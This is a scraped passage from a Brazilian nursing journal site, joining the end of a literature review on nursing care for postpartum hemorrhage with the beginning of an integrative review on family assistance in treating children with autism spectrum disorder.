<p class="wp-block-paragraph">Um dos principais cuidados elencados dentre os artigos selecionados foi&nbsp;a estratificação dos riscos na gestação durante as consultas de pré-natal, ressaltando a relevância do início do pré-natal precocemente a fim de identificar fatores de riscos associados, conscientizando em relação aos cuidados necessário durante a gestação e controle de indicadores de riscos,o manejo clínico qualificado durante o trabalho de parto, revisão de canal de parto e períneo, monitorização dos sinais vitais, observar sinais de choque hipovolêmico hipotensão, taquicardia Segundo (Branes et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Em complemento com os autores acima, Almeida et al. (2023) e Pinto et al. (2022) destaca a significância da profilaxia com uso de Ocitocina, metilergometrina ou misoprostol de acordo com o contexto e realidade da instituição de saúde. O uso do ácido tranexâmico no controle de sangramentos, o contato pele a pele precocemente na primeira hora de vida, a amamentação ainda na sala de parto, quantificação através de pesagens de compressas e campos cirúrgicos, controle da perda sanguínea e a manobra de Hamilton.&nbsp;</p>



<p class="wp-block-paragraph">Bonfim et al. 2022 e Moura et al. 2025 em seus estudos evidência o apoio psicológico e emocional durante a assistência como fator que contribui com o bem estar da puérpera, com o enfermeiro sendo o coordenador da assistência é de fundamental interesse a integração da equipe multiprofissional. É&nbsp; imprescindível a reposição de volumes com soro fisiológico ou ringer lactato e hemoderivados, encaminhar quando necessário para o centro cirúrgico, conhecer as fases do trabalho de parto e o mnemônico 4Ts responsável pela ocorrência de HPP.&nbsp;</p>



<p class="wp-block-paragraph">Portanto, literaturas científicas enfatiza a importância dos cuidados do enfermeiro humanizada, de acordo com as particularidades de cada paciente, tais como avaliar globo de segurança de Pinard, fluidos vaginais, trauma genitais, sinais vitais (SSVV), histórico de coagulopatias e se atentar aos sinais de choque como Hipotensão, Taquicardia e avaliar hemograma. Tendo o enfermeiro como linha de frente, este profissional requer atualizações constantemente, para realizar a assistência de alta complexidade junto a equipe multiprofissional. Sendo uma emergência obstétrica que necessita de cuidados imediatos e pautados em evidências de acordo com (Xavier et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Em oposição ao que foi deferido pelos autores anteriormente, Albuquerque e Siqueira (2023) em sua narrativa aborda que pela atonia uterina ser responsável pelo maior número de casos de HPP, ela deve ser checada prioritariamente por intermédio da verificação da presença do globo de segurançã e Pinard e se indicado a passagem do balão de tamponamento intrauterino, e destaca a importância da verificação dos sinais vitais a cada 30 minutos.&nbsp;</p>



<p class="wp-block-paragraph">Em primeira vista, a discussão ressalta a relevância de protocolos operacionais padrão (POP) nas instituições, a capacitação dos profissionais através de treinamentos contínuos, educação em saúde permanente e o aumento das simulações realísticas dentro do contexto hospitalar. Entretanto foram identificadas diversas intervenções medicamentosas e não farmacológicas no manejo ativo da HPP.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A atual pesquisa científica desenvolvida teve como foco evidenciar as intervenções que são mais relevantes e qualificadas frente ao manejo das hemorragias pós parto, Entretanto se identificou também os principais desafios relacionado ao manejo. Com tudo os mais mencionados foram a falta de protocolos rigorosos nas instituições de saúde, defeito de conhecimentos técnicos e científicos dos enfermeiros e a falta de qualificação dentro do ambiente de saúde. compactuando como a segunda causa de morte puerperal no Brasil devido sangramentos, com isso se faz necessário o enfermeiro estar atualizado de acordo com as principais literaturas científicas.&nbsp;</p>



<p class="wp-block-paragraph">Em consonância, outro aspecto que acende um alerta foi a dificuldade dos enfermeiros de identificar a etiologia das HPP, isso porque requer atenção&nbsp; redobrada, monitorização contínua dos parâmetros vitais e conhecimento científico. Com isso foi observada em cerca de 90% dos artigos selecionados que a hora de ouro é fundamental na detecção precoce das hemorragias, investigando o tônus uterino, lacerações de canal vaginal, retenção intrauterino de fragmentos placentários e históricos de coagulopatias em até 60 minutos.&nbsp;</p>



<p class="wp-block-paragraph">Em outro sentido, o enfermeiro deve atuar na prevenção, promoção e tratamento, desde a estratificação de riscos anteparto durante as consultas de pré-natal, até a reabilitação da puérpera em nível secundário ou terciário. Frente a isso se perpétua a relevância da educação em saúde desde a atenção primária à saúde até o ambiente hospitalar.&nbsp; Estudos identificaram que o manejo adequado do terceiro período do trabalho de parto contribui significativamente na prevenção das HPP, junto com a profilaxia com uso de medicamentos uterotónicos preferencialmente a Ocitocina, clampeamento oportuno do cordão umbilical e tração consciente do cordão umbilical.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Além disso, a inspeção da placenta é ideal para verificar sua integridade se reteve algum fragmento, monitorizar os sinais vitais é essencial em conjunto com a quantificação do sangramento por meio de pesagens de campos cirúrgicos e compressas, Este método é conhecido&nbsp;internacionalmente pelo acrônimo QBL &nbsp; (Quantitative Blood Loss), o uso do ácido tranexâmico, ofertar oxigênio quando necessário, verificar níveis de hemoglobina e hematócrito, coletar gasometria arterial, passar balão de tamponamento intrauterino, posicionar paciente em trendelemburg, uso do traje antichoque não pneumático,repor hemoderivados e volume por meio de Solução fisiológica ou soro ringer lactato aquecidos são intervenções que os autores mencionaram frequentemente nas literaturas.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em complemento, às medidas intervencionistas desnecessárias durante o parto potencializa as chances de desenvolvimento de HPP, tais como administração inconsciente de ocitocina, uso de equipamentos para extração do bebe, episiotomia, não respeitar a fisiologia materna e puxar o bebê são situações que além de se caracterizar como violência obstétrica aumenta os riscos de complicações.&nbsp;</p>



<p class="wp-block-paragraph">Esta revisão de literatura buscou-se destacar a relevância da assistência do enfermeiro frente as HPP, O estudo mostrou a importância da prevenção,&nbsp; intervenção&nbsp; e&nbsp; cuidados&nbsp; de&nbsp; enfermagem em intercorrências hemorrágicas&nbsp; puerperais,&nbsp; expondo&nbsp; os principais desafios relacionados. Em outra vista, medidas não farmacológicas mostraram grande impacto como contato pele a pele e aleitamento materno precocemente.&nbsp;</p>



<p class="wp-block-paragraph">As informações colhidas durante a pesquisa revelou a complexidade do cuidado obstétrico, da particularidade de cada intervenção e muitas das vezes a falta de capacitação. Com tudo observou-se que para minimizar esses impactos o uso de Protocolos Operacionais Padrão (POP) é fundamental, práticas de simulação realistas dentro das instituições, capacitação dos profissionais e conhecimentos baseados em evidências.&nbsp;</p>



<p class="wp-block-paragraph">A Pesquisa mostrou resultados positivos, porém há um grande caminho pela frente, tendo em vista a falta de interesse dos profissionais em buscar conhecimentos sendo um fator principal para agravar ainda mais essa situação. É imprescindível as pesquisas continuarem avançando sobre essa temática, para capacitar os profissionais e acadêmicos a prestar um cuidado eficiente e integral, só assim teremos grande mudança no cenário nacional.&nbsp;</p>



<p class="wp-block-paragraph">Com tudo, é responsabilidade do enfermeiro buscar aprimoramento e atualização, para está apto a desenvolver cuidados pautados em evidências científicas, aliado a isso a falta de estrutura e recursos materiais gera grande impacto em uma assistência de qualidade, isto porque aumenta o tempo de intervenção precoce e contribui com desfechos desfavoráveis. Bem como a carência de políticas públicas eficientes na área da obstetrícia que minimiza a inclusão social, favorecendo a desigualdade social da assistência obstétrica. Em vista disso&nbsp; se torna de suma relevância o cuidado de enfermagem de maneira integral, reconhecendo as parturientes como um ser biopsicossocial.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Dessa forma, o estudo&nbsp; evidenciou 26 cuidados&nbsp; para&nbsp; o&nbsp; manejo de&nbsp; HPP,&nbsp; expondo&nbsp; que esta pode&nbsp; ser prevenida de diversas maneiras, principalmente , pelo enfermeiro e sua equipe, os quais podem corroborar&nbsp; com&nbsp; o&nbsp; alcance&nbsp; da&nbsp; meta&nbsp; nacional&nbsp; e&nbsp; global&nbsp; em&nbsp; relação&nbsp; à diminuição&nbsp; dos&nbsp; índices&nbsp; de mortalidade materna. Evidenciou a necessidade de fortalecer as práticas básicas do cuidado, como a aferição dos sinais vitais.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALBUQUERQUE, Jessica Rolo; DE SIQUEIRA, Claudia Valéria Chagas. <strong>A&nbsp;ATUAÇÃO DO ENFERMEIRO NO MANEJO DA HEMORRAGIA PÓS-PARTO:</strong> UMA REVISÃO DA LITERATURA. Repositório Institucional do&nbsp;UNILUS, v. 3, n. 1, 2024.&nbsp;</p>



<p class="wp-block-paragraph">ALMEIDA, Isabel Fernanda Oliveira <em>et al</em>. <strong>Caracterização clínica de mulheres submetidas à histerectomia obstétrica por consequência da hemorragia pós-parto.</strong> Revista Enfermagem Atual In Derme, v. 97, n. 4, p. e023207e023207, 2023.&nbsp;</p>



<p class="wp-block-paragraph">ARAÚJO, Cicilia Raquel da Silva Luna <em>et al.</em> <strong>PRINCIPAIS CAUSAS, PREVENÇÃO E TRATAMENTO DA HEMORRAGIA PÓS-PARTO</strong>. PhD&nbsp;Scientific Review, v. 5, n. 3, p. 100-109, 2025.&nbsp;</p>



<p class="wp-block-paragraph">BOMFIM, Vitoria Vilas Boas <em>et al</em><strong>. Assistência à puérpera com hemorragia pós parto:</strong> prevenção e manejo. <em>Research, Society and Development,</em> v. 11, n.&nbsp;11, p. e250111133529-e250111133529, 2022.&nbsp;</p>



<p class="wp-block-paragraph">BRANES, Deborah Loren Mendonça <em>et al.</em> <strong>A atuação do enfermeiro no manejo a pacientes com hemorragia pós-parto.</strong> Diálogos em Saúde, v. 7, n.&nbsp;1, 2024.&nbsp;</p>



<p class="wp-block-paragraph">BRANGA, Luana <em>et al</em><strong>. Cuidados de enfermeiros frente às hemorragias puerperais: </strong>revisão integrativa<strong>.</strong> Revista de Enfermagem da UFSM, v. 12, p.&nbsp;e45-e45, 2022.&nbsp;</p>



<p class="wp-block-paragraph">DA SILVA, Érika Maria Alves <em>et al</em>. <strong>Treinamento de profissionais de saúde por meio da simulação clínica para o manejo da hemorragia pós-parto</strong>: revisão integrativa. Revista Eletrônica de Enfermagem, v. 27, p. 77656-77656, 2025.&nbsp;</p>



<p class="wp-block-paragraph">DA SILVA, José Ueliton Lima <em>et al. </em><strong>Hemorragia Pós-Parto:</strong> Uma Revisão de Literatura<em>. ID on line</em>. Revista de psicologia, v. 16, n. 64, p. 124-136, 2022.&nbsp;</p>



<p class="wp-block-paragraph">DE SOUZA, Maria Mirian et al. <strong>O PAPEL DO ENFERMEIRO FRENTE ÀS EMERGÊNCIAS OBSTÉTRICAS.</strong> Revista Ibero-Americana de Humanidades, Ciências e Educação, v. 11, n. 5, p. 7877-7886, 2025.&nbsp;</p>



<p class="wp-block-paragraph">DE ARAÚJO, Cynthia Synara <em>Alves et al.</em><strong>. ASSISTÊNCIA DE ENFERMAGEM NAS HEMORRAGIAS PÓS–PARTO.</strong> Diálogos em Saúde, v. 7, n. 1, 2024.&nbsp;</p>



<p class="wp-block-paragraph">DE SOUZA, Maria Mirian <em>et al.</em> <strong>O PAPEL DO ENFERMEIRO FRENTE ÀS EMERGÊNCIAS OBSTÉTRICAS. </strong>Revista Ibero-Americana de Humanidades, Ciências e Educação, v. 11, n. 5, p. 7877-7886, 2025.&nbsp;</p>



<p class="wp-block-paragraph">JESUS, Ana Clara Letícia Pinheiro da Silva <em>et al.</em> <strong>Papel do enfermeiro frente às hemorragias puerperais:</strong> Uma revisão da literatura. <em>Research, Society and Development,</em> v. 13, n. 11, p. e25131147116-e25131147116, 2024.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, Amanda Thais de Souza <em>et al.</em> <strong>O PAPEL DO ENFERMEIRO NO CONTROLE DA HEMORRAGIA PÓS-PARTO:</strong> UMA REVISÃO INTEGRATIVA DA LITERATURA. REVISTA FOCO, v. 18, n. 5, p. e8744-e8744, 2025.&nbsp;</p>



<p class="wp-block-paragraph">DOS SANTOS, Juciele Gomes <em>et al</em>. <strong>ASSISTÊNCIA DE ENFERMAGEM&nbsp;FRENTE A HEMORRAGIA OBSTÉTRICA:</strong> REVISÃO&nbsp;INTEGRATIVA. <em>Brazilian Journal of Implantology and Health Sciences,</em> v. 5, n.&nbsp;5, p. 2425-2437, 2023.&nbsp;</p>



<p class="wp-block-paragraph">GOMES, Mariana Silva; FEITOZA, Hudson Fábbio Ferraz. <strong>Cuidados da enfermagem na assistência a puérperas com hemorragia pós-parto:</strong> uma revisão integrativa. Revista Multidisciplinar do Sertão, v. 6, n. 3, p. 385-401, 2024.&nbsp;</p>



<p class="wp-block-paragraph">MOURA, Waleria Farias <em>et al</em>. <strong>ATUAÇÃO DO ENFERMEIRO NO&nbsp;PROTOCOLO DE ATENDIMENTO AO QUADRO DE HEMORRAGIA PÓS-PARTO</strong>. Revista Contemporânea, v. 5, n. 7, p. e8664-e8664, 2025.&nbsp;</p>



<p class="wp-block-paragraph">PINTO, Deijane Colaço <em>et al.</em> <strong>Cuidados de enfermagem na hemorragia pósparto Nursing care in postpartum hemorrhage.</strong> <em>Brazilian Journal of Development</em>, v. 8, n. 5, p. 40919-40934, 2022.</p>



<p class="wp-block-paragraph">XAVIER, Acássia Costa <em>et al</em>. Atuação do enfermeiro em intercorrências hemorrágicas no período puerperal: revisão bibliográfica. <strong>Nursing Edição Brasileira</strong>, v. 29, n. 319, p. 10375-10384, 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Formação: Instituição: Enfermeiro, Universidade Pitágoras (UNOPAR ANHANGUERA), Londrina-PR.. E-mail: raimundoabreu546@gmail.com<br><sup>2</sup>Formação: INSTITUIÇÃO: Bacharel. Enfermagem Faculdade de medicina Estácio de juazeiro do norte-FMJ. E-mail: annapssouza1@gmail.com<br><sup>3</sup>Formação: Instituição: Enfermeira, Universidade Federal de Alagoas- UFAL. E-mail:analiamilitantedademocracia@gmail.com<br><sup>4</sup>Formação: Graduada em Enfermagem pelo Centro Universitário Planalto do Distrito Federal-UNIPLAN. Pós Graduada em Saúde da Família pela Faculdade de Venda Nova do Imigrante (FAVENI). E-mail: enferanapaulasiqueira@gmail.com<br><sup>5</sup>Formação: Instituição: Enfermeiro, Centro Universitário Planalto do Distrito Federal. E-mail: salatielancaster@gmail.com</p>
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			</item>
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		<title>A IMPORTÂNCIA DA ASSISTÊNCIA FAMILIAR NO TRATAMENTO DO TRANSTORNO DO ESPECTRO AUTISTA EM CRIANÇAS</title>
		<link>https://revistaft.com.br/a-importancia-da-assistencia-familiar-no-tratamento-do-transtorno-do-espectro-autista-em-criancas/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 12 Jan 2026 22:02:55 +0000</pubDate>
				<category><![CDATA[Enfermagem]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202601121902 Adrielle Ribeiro Quadros¹Ana Vitória Ferreira Costa Leite¹Carla Beatriz Lemos Costa¹Carolainy Pereira Pires¹Carlos Eduardo Dávila e Dávila¹Erika Geysa Pavão Batista¹Mateus de Jesus Câmara Lopes¹Paula Elessandra Froz Ribeiro¹Paulo Geovane Pestana Pinheiro¹Denize Abreu Soares² RESUMO&#160; O estudo teve como objetivo analisar, por meio de uma revisão integrativa da literatura, a importância da assistência familiar no [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601121902</p>



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<p class="has-text-align-right wp-block-paragraph">Adrielle Ribeiro Quadros¹<br>Ana Vitória Ferreira Costa Leite¹<br>Carla Beatriz Lemos Costa¹<br>Carolainy Pereira Pires¹<br>Carlos Eduardo Dávila e Dávila¹<br>Erika Geysa Pavão Batista¹<br>Mateus de Jesus Câmara Lopes¹<br>Paula Elessandra Froz Ribeiro¹<br>Paulo Geovane Pestana Pinheiro¹<br>Denize Abreu Soares²</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">O estudo teve como objetivo analisar, por meio de uma revisão integrativa da literatura, a importância da assistência familiar no tratamento de crianças com Transtorno do Espectro&nbsp;Autista (TEA). Foram consultadas as bases BVS, LILACS, MEDLINE, PubMed, SciELO e Portal CAPES, utilizando descritores DeCS/MeSH relacionados ao autismo, assistência familiar, enfermagem e crianças, considerando publicações de 2019 a 2023. Os achados evidenciaram que a assistência familiar é fundamental para o desenvolvimento global da criança com TEA, contribuindo para melhorias na comunicação, interação social e adesão às terapias. No entanto, as famílias enfrentam desafios significativos, como falta de apoio profissional, escassez de serviços especializados, estigma social, sobrecarga emocional e dificuldades econômicas. A literatura aponta ainda para fragilidades na capacitação dos profissionais de saúde, especialmente da enfermagem, o que impacta negativamente no suporte oferecido às famílias. Constatou-se que, apesar de a família ser reconhecida como participante essencial do cuidado, muitas vezes ela é excluída do processo terapêutico. Conclui-se que a assistência familiar deve ser fortalecida por meio de políticas públicas, capacitação profissional e apoio emocional, destacando a necessidade de estudos que aprofundem as vivências e necessidades das famílias, sobretudo das mães, de crianças com TEA.</p>



<p class="wp-block-paragraph"><strong>DESCRITORES: </strong>Transtorno do Espectro Autista; Família; Cuidadores; Criança; Enfermagem;<strong> </strong>Reabilitação.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">The study aimed to analyze, through an integrative literature review, the importance of family assistance in the treatment of children with Autism Spectrum Disorder&nbsp; (ASD). The databases BVS, LILACS, MEDLINE, PubMed, SciELO, and the CAPES Portal were consulted, using DeCS/MeSH descriptors related to autism, family support, nursing, and children, considering publications from 2019 to 2023. The findings revealed that family assistance is essential for the overall development of children with ASD, contributing to improvements in communication, social interaction, and adherence to therapies. However, families face significant challenges, such as lack of professional support, scarcity of specialized services, social stigma, emotional overload, and financial difficulties. The literature also highlights gaps in the training of healthcare professionals, especially nurses, which negatively affects the support provided to families. Despite being recognized as key participants in care, families are often excluded from the therapeutic process. It is concluded that family assistance must be strengthened through public policies, professional training, and emotional support, emphasizing the need for studies that further explore the experiences and needs of families, especially mothers, of children with ASD.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>KEYWORDS</strong>: Autism Spectrum Disorder, Family, Caregivers, Child, Nursing,&nbsp;Rehabilitation.</p>



<p class="wp-block-paragraph"><strong>1</strong>. <strong>INTRODUÇÃO&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O Transtorno do Espectro Autista (TEA) é uma condição do neurodesenvolvimento caracterizada por alterações persistentes na comunicação social, na interação social e pela presença de padrões restritos e repetitivos de comportamento, interesses ou atividades (AMERICAN PSYCHIATRIC ASSOCIATION, 2022). Trata-se de um transtorno de origem multifatorial, com manifestações clínicas heterogêneas, que variam desde quadros leves, nos quais a criança apresenta dificuldades sutis de socialização, até quadros graves, associados a prejuízos significativos no desenvolvimento cognitivo, comunicacional e funcional (BRASIL, 2015).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Evidências epidemiológicas apontam um crescimento expressivo na prevalência do&nbsp;TEA nas últimas décadas, configurando-se como um importante problema de saúde pública. Estimativas internacionais indicam que aproximadamente uma em cada 36 crianças apresenta diagnóstico de TEA, o que reflete avanços nos critérios diagnósticos, maior conscientização social e ampliação das estratégias de rastreamento precoce (CENTERS FOR DISEASE CONTROL AND PREVENTION, 2023). No Brasil, apesar da ausência de dados epidemiológicos nacionais consolidados, observa-se aumento significativo no número de diagnósticos, o que impõe desafios à organização das redes de atenção à saúde, educação e assistência social (BRASIL, 2012).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O diagnóstico do TEA, geralmente realizado na infância, repercute de forma significativa na dinâmica familiar, exigindo reorganização emocional, social e econômica. Nesse contexto, destaca-se o papel das chamadas mães atípicas, que, na maioria dos casos, assumem a responsabilidade principal pelo cuidado da criança. Essas mulheres vivenciam sobrecarga física e emocional decorrente das demandas contínuas de cuidado, acompanhamento terapêutico, mediação escolar e busca pela efetivação dos direitos garantidos às crianças com TEA (SILVA; SCHMIDT, 2018).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">As dificuldades enfrentadas pelas famílias incluem o acesso limitado a serviços especializados, longas filas para diagnóstico e tratamento, escassez de profissionais capacitados e entraves burocráticos para a garantia de direitos previstos em legislações específicas, como a Política Nacional de Proteção dos Direitos da Pessoa com Transtorno do Espectro Autista (BRASIL, 2012). Ademais, o estigma social, a desinformação e a fragilidade no acolhimento por parte dos serviços de saúde contribuem para o adoecimento mental dos cuidadores, especialmente das mães, comprometendo o processo terapêutico (MINATEL; MATSUKURA,&nbsp;2014).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nesse cenário, a assistência familiar assume papel central no tratamento da criança com TEA, sendo reconhecida como fundamental para o desenvolvimento global, adesão às terapias e promoção da autonomia. A participação ativa da família, associada ao suporte profissional adequado, favorece avanços na comunicação, interação social e comportamento da criança (SANTOS et al., 2020). Contudo, apesar desse reconhecimento, muitas famílias ainda são excluídas das decisões terapêuticas, sendo tratadas apenas como executoras de orientações, sem apoio contínuo e escuta qualificada.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Diante disso, evidencia-se a necessidade de fortalecer a assistência familiar no tratamento do TEA, com destaque para o papel dos profissionais de saúde, especialmente da enfermagem, na promoção do acolhimento, da educação em saúde e do cuidado integral. Assim, este estudo tem como objetivo analisar, à luz da literatura científica, a importância da assistência familiar no tratamento de crianças com Transtorno do Espectro Autista.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Trata-se de uma revisão integrativa da literatura científica de abordagem descritiva e exploratória. Desta forma, o presente estudo foi realizado em etapas, sendo estas: escolha do tema e formulação da pergunta norteadora; estabelecimento de critérios de inclusão e exclusão de trabalhos; busca na literatura; avaliação dos estudos selecionados após critérios inclusivos; coleta e análise crítica dos dados e discussão e apresentação dos resultados¹. Destaca-se que este estudo adotou as recomendações previstas no Principais Itens para Relatar Revisões Sistemáticas e Meta-análises (PRISMA), (Page <em>et al</em>, 2020). &nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Nessa perspectiva, a formulação da pergunta norteadora sucedeu-se por meio do acrônimo PICO (população, interesse, comparação, desfecho), portanto, P referenciou-se à criança com TEA, I à assistência familiar e O ao tratamento da criança com TEA (C não foi aplicado). Portanto, formulou-se a seguinte pergunta norteadora: “De que forma a assistência familiar auxilia no tratamento da criança com Transtorno do Espectro Autista?” (Sousa <em>et al</em>, 2017).&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Com isso, o levantamento bibliográfico deu-se a partir das bases de dados Biblioteca Virtual em Saúde (BVS), Literatura Latino-Americana e do Caribe em Ciências da Saúde (LILACS), Medical Literature Analysis and Retrieval System Online (MEDLINE), PubMed, Scientific Electronic Library Online (SciELO) e via Portal de Periódicos da CAPES, por intermédio dos descritores em ciência da saúde (DeCS/MeSH) em inglês: “<em>Autism Spectrum Disorder</em>”, “<em>Nursing</em>”, “<em>Family Support</em>” e “<em>Children</em>”.&nbsp;&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Assim, a estratégia de busca utilizada para ampliar e delimitar os resultados acerca da importância da assistência familiar no tratamento do transtorno do espectro autista em crianças, deu-se com a utilização do operador booleano AND em todas as bases de dados antepostas. E, como critérios de inclusão, optou-se por trabalhos com textos completos em forma de artigo em português, inglês e espanhol, no período de 2019 a 2023. Ademais, foram excluídas cartas ao editor, estudos duplicados e aqueles sem conexão com a temática explorada.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">A partir das buscas nas diferentes bases de dados, identificaram-se 174 estudos, destes,&nbsp;133 artigos eram pertencentes a base de dados PubMed, 22 artigos alusivos à BVS, LILACS, MEDLINE, BDENF, 12 via Portal de Periódicos da CAPES e 3 via SciELO. Além disso, foram utilizados 4 artigos não pertencentes às bases de dados citados acima, selecionados por meio da plataforma Google Acadêmico a partir da leitura do título e resumo.&nbsp;&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Assim sendo, após a adesão dos filtros de inclusão, foram eliminados 113 artigos. Portanto, após o descarte de duplicatas dos 61 estudos, subtraíram-se 3 artigos. Após a&nbsp; leitura do título e resumos dos 58 estudos restantes, foram descartados 42. E, posteriormente à leitura do texto completo dos 16, eliminaram-se 5 por não possuírem relação direta com a temática explorada neste artigo. Por fim, 11 artigos integraram a análise final e bibliografia deste estudo, sendo incluídos os 4 artigos encontrados no Google Acadêmico. (<strong>Figura 1</strong>)&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Os artigos incluídos e, posteriormente, utilizados na confecção da análise, seus objetivos e principais resultados estão resumidos no <strong>Quadro 1. </strong>&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong> – Fluxograma da etapa de busca dos artigos para a revisão. Pinheiro,&nbsp;Maranhão, Brasil – 2023.</p>



<figure class="wp-block-image aligncenter size-large"><img fetchpriority="high" decoding="async" width="771" height="1024" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-179-771x1024.png" alt="" class="wp-image-262340" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-179-771x1024.png 771w, https://revistaft.com.br/wp-content/uploads/2026/01/image-179-226x300.png 226w, https://revistaft.com.br/wp-content/uploads/2026/01/image-179-768x1021.png 768w, https://revistaft.com.br/wp-content/uploads/2026/01/image-179-1156x1536.png 1156w, https://revistaft.com.br/wp-content/uploads/2026/01/image-179.png 1204w" sizes="(max-width: 771px) 100vw, 771px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaboração própria com base em PRISMA, 2023.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong> – Artigos incluídos na análise da importância da assistência familiar no tratamento do Transtorno do Espectro Autista em crianças. Pinheiro, Maranhão, Brasil – 2023.</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="798" height="1024" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-180-798x1024.png" alt="" class="wp-image-262341" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-180-798x1024.png 798w, https://revistaft.com.br/wp-content/uploads/2026/01/image-180-234x300.png 234w, https://revistaft.com.br/wp-content/uploads/2026/01/image-180-768x986.png 768w, https://revistaft.com.br/wp-content/uploads/2026/01/image-180.png 1168w" sizes="(max-width: 798px) 100vw, 798px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte:&nbsp; Autores, 2025.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1</strong> – Artigos incluídos na análise da importância da assistência familiar no&nbsp;tratamento do Transtorno do Espectro Autista em crianças. Pinheiro, Maranhão, Brasil – 2023.</p>



<figure class="wp-block-image aligncenter size-large"><img decoding="async" width="757" height="1024" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-181-757x1024.png" alt="" class="wp-image-262342" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-181-757x1024.png 757w, https://revistaft.com.br/wp-content/uploads/2026/01/image-181-222x300.png 222w, https://revistaft.com.br/wp-content/uploads/2026/01/image-181-768x1040.png 768w, https://revistaft.com.br/wp-content/uploads/2026/01/image-181-1135x1536.png 1135w, https://revistaft.com.br/wp-content/uploads/2026/01/image-181.png 1168w" sizes="(max-width: 757px) 100vw, 757px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Autores, 2025.&nbsp;</p>



<p class="wp-block-paragraph">Após a revisão dos diversos artigos, foi possível se notar uma análise intrínseca em relação aos desafios enfrentados pelas famílias, em cada nível de atenção, como a dificuldade em lidar com o diagnóstico, o estigma, a falta de tempo, a mudança de rotina, a falta de comunicação, o desejo de ser ouvido e acolhido².&nbsp;&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O manejo acerca do TEA e seu tratamento traz a todos os envolvidos uma mesclagem de experiências, e muito se vê a concentração no transtorno, o que acaba gerando um déficit na atenção integral voltada ao usuário em questão². Uma outra problemática enfrentada é a condição econômica de determinadas famílias e a restrição que causa no avanço do tratamento, dessa forma foi citado em alguns artigos a necessidade de ações que minimizem esses impactos gerados com o uso da Política Nacional de Proteção dos Direitos da Pessoa com TEA⁶.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Na escola se percebe os primeiros sinais do transtorno por ser um ambiente social, para tal a falta de comunicação entre os gestores da escola e os pais prejudica os benefícios que esse meio social pode proporcionar a criança, pois se nota uma exclusão e não necessidade da inserção de práticas sociais e educativas que ampliem e modifiquem de forma positiva o ambiente, nos relatos analisou-se que os pais eram orientados a procurar centros e escolas específicas¹¹.&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A mudança pós-diagnóstico gera conflitos internos dentro das famílias, pois a falta de assistência por parte dos profissionais em informação e acolhimento culmina muitas vezes no aparecimento de transtornos mentais nos pais por se sentirem inseguros e desabilitados⁶. Nos presentes artigos a família foi colocada como membro participante do cuidado e que houvesse uma valorização de tal papel no tratamento da criança, mas o que se percebe dentro dos âmbitos da saúde vistos pelos artigos é que a equipe acaba transformando a família em apenas um telespectador que não é incluído no processo de tratamento, ainda que seja um dos maiores contribuintes para que essa criança seja melhor avaliada².&nbsp;&nbsp;&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>DISCUSSÃO&nbsp;&nbsp;&nbsp;</strong></p>



